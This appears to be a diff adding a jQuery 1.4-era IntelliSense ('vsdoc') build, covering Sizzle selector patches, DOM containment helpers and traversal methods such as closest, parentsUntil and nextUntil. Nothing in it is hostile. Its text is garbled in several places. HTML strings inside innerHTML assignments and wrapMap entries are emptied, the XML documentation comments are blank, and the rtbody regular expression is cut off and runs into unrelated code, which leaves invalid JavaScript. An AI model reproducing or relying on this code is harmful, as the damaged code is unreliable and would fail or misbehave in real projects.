m.getAttributeNode("id").nodeValue === match[1] ? [m] : undefined : []; + } + }; + + Expr.filter.ID = function(elem, match){ + var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); + return elem.nodeType === 1 && node && node.nodeValue === match; + }; + // } + + // root.removeChild( form ); + root = form = null; // release memory in IE +})(); + +// [vsdoc] The following function has been modified for IntelliSense. +(function(){ + // Check to see if the browser returns only elements + // when doing getElementsByTagName("*") + + // Create a fake element + // var div = document.createElement("div"); + // div.appendChild( document.createComment("") ); + + // Make sure no comments are found + // if ( div.getElementsByTagName("*").length > 0 ) { + Expr.find.TAG = function(match, context){ + var results = context.getElementsByTagName(match[1]); + + // Filter out possible comments + if ( match[1] === "*" ) { + var tmp = []; + + for ( var i = 0; results[i]; i++ ) { + if ( results[i].nodeType === 1 ) { + tmp.push( results[i] ); + } + } + + results = tmp; + } + + return results; + }; + // } + + // Check to see if an attribute returns normalized href attributes + // div.innerHTML = ""; + // if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && + // div.firstChild.getAttribute("href") !== "#" ) { + Expr.attrHandle.href = function(elem){ + return elem.getAttribute("href", 2); + }; + // } + + div = null; // release memory in IE +})(); + +if ( document.querySelectorAll ) { + (function(){ + var oldSizzle = Sizzle, div = document.createElement("div"); + div.innerHTML = "

"; + + // Safari can't handle uppercase or unicode characters when + // in quirks mode. + if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { + return; + } + + Sizzle = function(query, context, extra, seed){ + context = context || document; + + // Only use querySelectorAll on non-XML documents + // (ID selectors don't work in non-HTML documents) + if ( !seed && context.nodeType === 9 && !isXML(context) ) { + try { + return makeArray( context.querySelectorAll(query), extra ); + } catch(e){} + } + + return oldSizzle(query, context, extra, seed); + }; + + for ( var prop in oldSizzle ) { + Sizzle[ prop ] = oldSizzle[ prop ]; + } + + div = null; // release memory in IE + })(); +} + +(function(){ + var div = document.createElement("div"); + + div.innerHTML = "
"; + + // Opera can't find a second classname (in 9.6) + // Also, make sure that getElementsByClassName actually exists + if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { + return; + } + + // Safari caches class attributes, doesn't catch changes (in 3.2) + div.lastChild.className = "e"; + + if ( div.getElementsByClassName("e").length === 1 ) { + return; + } + + Expr.order.splice(1, 0, "CLASS"); + Expr.find.CLASS = function(match, context, isXML) { + if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { + return context.getElementsByClassName(match[1]); + } + }; + + div = null; // release memory in IE +})(); + +function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + elem = elem[dir]; + var match = false; + + while ( elem ) { + if ( elem.sizcache === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 && !isXML ){ + elem.sizcache = doneName; + elem.sizset = i; + } + + if ( elem.nodeName.toLowerCase() === cur ) { + match = elem; + break; + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + elem = elem[dir]; + var match = false; + + while ( elem ) { + if ( elem.sizcache === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 ) { + if ( !isXML ) { + elem.sizcache = doneName; + elem.sizset = i; + } + if ( typeof cur !== "string" ) { + if ( elem === cur ) { + match = true; + break; + } + + } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { + match = elem; + break; + } + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +var contains = document.compareDocumentPosition ? function(a, b){ + /// + /// Check to see if a DOM node is within another DOM node. + /// + /// + /// The DOM element that may contain the other element. + /// + /// + /// The DOM node that may be contained by the other element. + /// + /// + + return a.compareDocumentPosition(b) & 16; +} : function(a, b){ + /// + /// Check to see if a DOM node is within another DOM node. + /// + /// + /// The DOM element that may contain the other element. + /// + /// + /// The DOM node that may be contained by the other element. + /// + /// + + return a !== b && (a.contains ? a.contains(b) : true); +}; + +var isXML = function(elem){ + /// + /// Determines if the parameter passed is an XML document. + /// + /// The object to test + /// True if the parameter is an XML document; otherwise false. + + // documentElement is verified for cases where it doesn't yet exist + // (such as loading iframes in IE - #4833) + var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; + return documentElement ? documentElement.nodeName !== "HTML" : false; +}; + +var posProcess = function(selector, context){ + var tmpSet = [], later = "", match, + root = context.nodeType ? [context] : context; + + // Position selectors must be done after the filter + // And so must :not(positional) so we move all PSEUDOs to the end + while ( (match = Expr.match.PSEUDO.exec( selector )) ) { + later += match[0]; + selector = selector.replace( Expr.match.PSEUDO, "" ); + } + + selector = Expr.relative[selector] ? selector + "*" : selector; + + for ( var i = 0, l = root.length; i < l; i++ ) { + Sizzle( selector, root[i], tmpSet ); + } + + return Sizzle.filter( later, tmpSet ); +}; + +// EXPOSE +jQuery.find = Sizzle; +jQuery.expr = Sizzle.selectors; +jQuery.expr[":"] = jQuery.expr.filters; +jQuery.unique = Sizzle.uniqueSort; +jQuery.getText = getText; +jQuery.isXMLDoc = isXML; +jQuery.contains = contains; + +return; + +window.Sizzle = Sizzle; + +})(); +var runtil = /Until$/, + rparentsprev = /^(?:parents|prevUntil|prevAll)/, + // Note: This RegExp should be improved, or likely pulled from Sizzle + rmultiselector = /,/, + slice = Array.prototype.slice; + +// Implement the identical functionality for filter and not +var winnow = function( elements, qualifier, keep ) { + if ( jQuery.isFunction( qualifier ) ) { + return jQuery.grep(elements, function( elem, i ) { + return !!qualifier.call( elem, i, elem ) === keep; + }); + + } else if ( qualifier.nodeType ) { + return jQuery.grep(elements, function( elem, i ) { + return (elem === qualifier) === keep; + }); + + } else if ( typeof qualifier === "string" ) { + var filtered = jQuery.grep(elements, function( elem ) { + return elem.nodeType === 1; + }); + + if ( isSimple.test( qualifier ) ) { + return jQuery.filter(qualifier, filtered, !keep); + } else { + qualifier = jQuery.filter( qualifier, filtered ); + } + } + + return jQuery.grep(elements, function( elem, i ) { + return (jQuery.inArray( elem, qualifier ) >= 0) === keep; + }); +}; + +jQuery.fn.extend({ + find: function( selector ) { + /// + /// Searches for all elements that match the specified expression. + /// This method is a good way to find additional descendant + /// elements with which to process. + /// All searching is done using a jQuery expression. The expression can be + /// written using CSS 1-3 Selector syntax, or basic XPath. + /// Part of DOM/Traversing + /// + /// + /// + /// An expression to search with. + /// + /// + + var ret = this.pushStack( "", "find", selector ), length = 0; + + for ( var i = 0, l = this.length; i < l; i++ ) { + length = ret.length; + jQuery.find( selector, this[i], ret ); + + if ( i > 0 ) { + // Make sure that the results are unique + for ( var n = length; n < ret.length; n++ ) { + for ( var r = 0; r < length; r++ ) { + if ( ret[r] === ret[n] ) { + ret.splice(n--, 1); + break; + } + } + } + } + } + + return ret; + }, + + has: function( target ) { + /// + /// Reduce the set of matched elements to those that have a descendant that matches the + /// selector or DOM element. + /// + /// + /// A string containing a selector expression to match elements against. + /// + /// + + var targets = jQuery( target ); + return this.filter(function() { + for ( var i = 0, l = targets.length; i < l; i++ ) { + if ( jQuery.contains( this, targets[i] ) ) { + return true; + } + } + }); + }, + + not: function( selector ) { + /// + /// Removes any elements inside the array of elements from the set + /// of matched elements. This method is used to remove one or more + /// elements from a jQuery object. + /// Part of DOM/Traversing + /// + /// + /// A set of elements to remove from the jQuery set of matched elements. + /// + /// + + return this.pushStack( winnow(this, selector, false), "not", selector); + }, + + filter: function( selector ) { + /// + /// Removes all elements from the set of matched elements that do not + /// pass the specified filter. This method is used to narrow down + /// the results of a search. + /// }) + /// Part of DOM/Traversing + /// + /// + /// + /// A function to use for filtering + /// + /// + + return this.pushStack( winnow(this, selector, true), "filter", selector ); + }, + + is: function( selector ) { + /// + /// Checks the current selection against an expression and returns true, + /// if at least one element of the selection fits the given expression. + /// Does return false, if no element fits or the expression is not valid. + /// filter(String) is used internally, therefore all rules that apply there + /// apply here, too. + /// Part of DOM/Traversing + /// + /// + /// + /// The expression with which to filter + /// + + return !!selector && jQuery.filter( selector, this ).length > 0; + }, + + closest: function( selectors, context ) { + /// + /// Get a set of elements containing the closest parent element that matches the specified selector, the starting element included. + /// + /// + /// A string containing a selector expression to match elements against. + /// + /// + /// A DOM element within which a matching element may be found. If no context is passed + /// in then the context of the jQuery set will be used instead. + /// + /// + + if ( jQuery.isArray( selectors ) ) { + var ret = [], cur = this[0], match, matches = {}, selector; + + if ( cur && selectors.length ) { + for ( var i = 0, l = selectors.length; i < l; i++ ) { + selector = selectors[i]; + + if ( !matches[selector] ) { + matches[selector] = jQuery.expr.match.POS.test( selector ) ? + jQuery( selector, context || this.context ) : + selector; + } + } + + while ( cur && cur.ownerDocument && cur !== context ) { + for ( selector in matches ) { + match = matches[selector]; + + if ( match.jquery ? match.index(cur) > -1 : jQuery(cur).is(match) ) { + ret.push({ selector: selector, elem: cur }); + delete matches[selector]; + } + } + cur = cur.parentNode; + } + } + + return ret; + } + + var pos = jQuery.expr.match.POS.test( selectors ) ? + jQuery( selectors, context || this.context ) : null; + + return this.map(function( i, cur ) { + while ( cur && cur.ownerDocument && cur !== context ) { + if ( pos ? pos.index(cur) > -1 : jQuery(cur).is(selectors) ) { + return cur; + } + cur = cur.parentNode; + } + return null; + }); + }, + + // Determine the position of an element within + // the matched set of elements + index: function( elem ) { + /// + /// Searches every matched element for the object and returns + /// the index of the element, if found, starting with zero. + /// Returns -1 if the object wasn't found. + /// Part of Core + /// + /// + /// + /// Object to search for + /// + + if ( !elem || typeof elem === "string" ) { + return jQuery.inArray( this[0], + // If it receives a string, the selector is used + // If it receives nothing, the siblings are used + elem ? jQuery( elem ) : this.parent().children() ); + } + // Locate the position of the desired element + return jQuery.inArray( + // If it receives a jQuery object, the first element is used + elem.jquery ? elem[0] : elem, this ); + }, + + add: function( selector, context ) { + /// + /// Adds one or more Elements to the set of matched elements. + /// Part of DOM/Traversing + /// + /// + /// A string containing a selector expression to match additional elements against. + /// + /// + /// Add some elements rooted against the specified context. + /// + /// + + var set = typeof selector === "string" ? + jQuery( selector, context || this.context ) : + jQuery.makeArray( selector ), + all = jQuery.merge( this.get(), set ); + + return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ? + all : + jQuery.unique( all ) ); + }, + + andSelf: function() { + /// + /// Adds the previous selection to the current selection. + /// + /// + + return this.add( this.prevObject ); + } +}); + +// A painfully simple check to see if an element is disconnected +// from a document (should be improved, where feasible). +function isDisconnected( node ) { + return !node || !node.parentNode || node.parentNode.nodeType === 11; +} + +jQuery.each({ + parent: function( elem ) { + var parent = elem.parentNode; + return parent && parent.nodeType !== 11 ? parent : null; + }, + parents: function( elem ) { + return jQuery.dir( elem, "parentNode" ); + }, + next: function( elem ) { + return jQuery.nth( elem, 2, "nextSibling" ); + }, + prev: function( elem ) { + return jQuery.nth( elem, 2, "previousSibling" ); + }, + nextAll: function( elem ) { + return jQuery.dir( elem, "nextSibling" ); + }, + prevAll: function( elem ) { + return jQuery.dir( elem, "previousSibling" ); + }, + siblings: function( elem ) { + return jQuery.sibling( elem.parentNode.firstChild, elem ); + }, + children: function( elem ) { + return jQuery.sibling( elem.firstChild ); + }, + contents: function( elem ) { + return jQuery.nodeName( elem, "iframe" ) ? + elem.contentDocument || elem.contentWindow.document : + jQuery.makeArray( elem.childNodes ); + } +}, function( name, fn ) { + jQuery.fn[ name ] = function( until, selector ) { + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( name ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, name, slice.call(arguments).join(",") ); + }; +}); + +jQuery.fn[ "parentsUntil" ] = function( until, selector ) { + /// + /// Get the ancestors of each element in the current set of matched elements, up to but not + /// including the element matched by the selector. + /// + /// + /// A string containing a selector expression to indicate where to stop matching ancestor + /// elements. + /// + /// + + var fn = function( elem, i, until ) { + return jQuery.dir( elem, "parentNode", until ); + } + + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( "parentsUntil" ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( "parentsUntil" ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, "parentsUntil", slice.call(arguments).join(",") ); +}; + +jQuery.fn[ "nextUntil" ] = function( until, selector ) { + /// + /// Get all following siblings of each element up to but not including the element matched + /// by the selector. + /// + /// + /// A string containing a selector expression to indicate where to stop matching following + /// sibling elements. + /// + /// + + var fn = function( elem, i, until ) { + return jQuery.dir( elem, "nextSibling", until ); + } + + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( "nextUntil" ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( "nextUntil" ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, "nextUntil", slice.call(arguments).join(",") ); +}; + +jQuery.fn[ "prevUntil" ] = function( until, selector ) { + /// + /// Get all preceding siblings of each element up to but not including the element matched + /// by the selector. + /// + /// + /// A string containing a selector expression to indicate where to stop matching preceding + /// sibling elements. + /// + /// + + var fn = function( elem, i, until ) { + return jQuery.dir( elem, "previousSibling", until ); + } + + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( "prevUntil" ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( "prevUntil" ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, "prevUntil", slice.call(arguments).join(",") ); +}; + +jQuery.extend({ + filter: function( expr, elems, not ) { + if ( not ) { + expr = ":not(" + expr + ")"; + } + + return jQuery.find.matches(expr, elems); + }, + + dir: function( elem, dir, until ) { + /// + /// This member is internal only. + /// + /// + + var matched = [], cur = elem[dir]; + while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) { + if ( cur.nodeType === 1 ) { + matched.push( cur ); + } + cur = cur[dir]; + } + return matched; + }, + + nth: function( cur, result, dir, elem ) { + /// + /// This member is internal only. + /// + /// + + result = result || 1; + var num = 0; + + for ( ; cur; cur = cur[dir] ) { + if ( cur.nodeType === 1 && ++num === result ) { + break; + } + } + + return cur; + }, + + sibling: function( n, elem ) { + /// + /// This member is internal only. + /// + /// + + var r = []; + + for ( ; n; n = n.nextSibling ) { + if ( n.nodeType === 1 && n !== elem ) { + r.push( n ); + } + } + + return r; + } +}); +var rinlinejQuery = / jQuery\d+="(?:\d+|null)"/g, + rleadingWhitespace = /^\s+/, + rxhtmlTag = /(<([\w:]+)[^>]*?)\/>/g, + rselfClosing = /^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i, + rtagName = /<([\w:]+)/, + rtbody = /"; + }, + wrapMap = { + option: [ 1, "" ], + legend: [ 1, "
", "
" ], + thead: [ 1, "", "
" ], + tr: [ 2, "", "
" ], + td: [ 3, "", "
" ], + col: [ 2, "", "
" ], + area: [ 1, "", "" ], + _default: [ 0, "", "" ] + }; + +wrapMap.optgroup = wrapMap.option; +wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; +wrapMap.th = wrapMap.td; + +// IE can't serialize and